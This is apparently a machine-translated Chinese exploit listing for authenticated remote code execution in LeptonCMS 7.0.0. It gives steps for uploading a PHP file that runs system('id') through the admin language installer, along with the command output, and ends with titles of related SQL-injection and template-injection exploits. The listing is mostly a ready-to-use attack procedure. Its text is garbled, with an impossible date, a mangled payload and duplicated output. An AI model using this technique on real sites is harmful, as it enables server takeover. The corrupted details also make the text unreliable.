LeptonCMS 7.0.0-远程代码执行（RCE）（身份验证）

[HackApt-37 Team已验证会员]

＃利用标题: LeptonCMS 7.0.0-远程代码执行（RCE）（身份验证）
＃日期: 2024-19
＃利用作者: TMRSWRR
＃类别: WebApps
＃供应商homepage3360 https://www.lepton-cms.com/
＃版本: 7.0.0
1）登录管理委员会https://127.0.0.1/lepton/backend/login/index.php
2）转到语言位置https://127.0.0.1/lepton/backend/backend/languages/index.php
3）在语言中上传升级。php文件？php echo system（'id'）;
4）单击安装后，您将看到结果
＃结果: UID=1000（Lepton）GID=1000（Lepton）组=1000（Lepton）UID=1000（Lepton）GID=1000（Lepton）组=1000（Lepton）

 

H

员工管理系统1.0-`txtfullname`和`txtphone sql注入

H

FOF漂亮邮件1.1.2-服务器端模板注入（SSTI）